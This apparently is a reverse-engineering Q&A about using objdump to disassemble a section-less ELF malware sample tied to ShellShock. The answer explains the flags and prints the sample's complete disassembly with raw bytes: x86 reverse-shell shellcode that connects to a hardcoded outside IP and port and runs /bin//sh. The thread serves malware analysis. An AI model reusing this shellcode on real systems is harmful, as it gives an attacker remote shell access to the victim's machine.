1

I'm trying to dump assembly code of a ShellShock malware explained in this blog post:

After dumping using objdump -d, the output shows just the following:

fu4k:     file format elf32-i386

Then, I tried the command objdump -b elf32-i386 -d fu4k, but it gave the same output.

Please point me in the right direction. Malware is located here (login required, password:infected).

3

-d only disassembles what objdump considers to be code sections. You can use -D to force disassembly of all sections. However, it still doesn't work for this file because it doesn't have a section table:

fu4k:     file format elf32-i386
fu4k
architecture: i386, flags 0x00000102:
EXEC_P, D_PAGED
start address 0x08048054

Program Header:
    LOAD off    0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12
         filesz 0x00000098 memsz 0x000000dc flags rwx

Sections:
Idx Name          Size      VMA       LMA       File off  Algn
SYMBOL TABLE:
no symbols

So, in this case you can ask objdump to treat the file as binary and disassemble everything:

objdump -b binary -D -m i386 fu4k

To improve disassembly, you can use the information from the ELF headers (load address and entrypoint address):

>objdump -b binary -D -m i386 fu4k --adjust-vma=0x08048000 --start-address=0x08048054

fu4k:     file format binary


Disassembly of section .data:

08048054 <.data+0x54>:
 8048054:       31 db                   xor    %ebx,%ebx
 8048056:       f7 e3                   mul    %ebx
 8048058:       53                      push   %ebx
 8048059:       43                      inc    %ebx
 804805a:       53                      push   %ebx
 804805b:       6a 02                   push   $0x2
 804805d:       89 e1                   mov    %esp,%ecx
 804805f:       b0 66                   mov    $0x66,%al
 8048061:       cd 80                   int    $0x80
 8048063:       93                      xchg   %eax,%ebx
 8048064:       59                      pop    %ecx
 8048065:       b0 3f                   mov    $0x3f,%al
 8048067:       cd 80                   int    $0x80
 8048069:       49                      dec    %ecx
 804806a:       79 f9                   jns    0x8048065
 804806c:       68 1b 13 9f e0          push   $0xe09f131b
 8048071:       68 02 00 11 c1          push   $0xc1110002
 8048076:       89 e1                   mov    %esp,%ecx
 8048078:       b0 66                   mov    $0x66,%al
 804807a:       50                      push   %eax
 804807b:       51                      push   %ecx
 804807c:       53                      push   %ebx
 804807d:       b3 03                   mov    $0x3,%bl
 804807f:       89 e1                   mov    %esp,%ecx
 8048081:       cd 80                   int    $0x80
 8048083:       52                      push   %edx
 8048084:       68 2f 2f 73 68          push   $0x68732f2f
 8048089:       68 2f 62 69 6e          push   $0x6e69622f
 804808e:       89 e3                   mov    %esp,%ebx
 8048090:       52                      push   %edx
 8048091:       53                      push   %ebx
 8048092:       89 e1                   mov    %esp,%ecx
 8048094:       b0 0b                   mov    $0xb,%al
 8048096:       cd 80                   int    $0x80

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.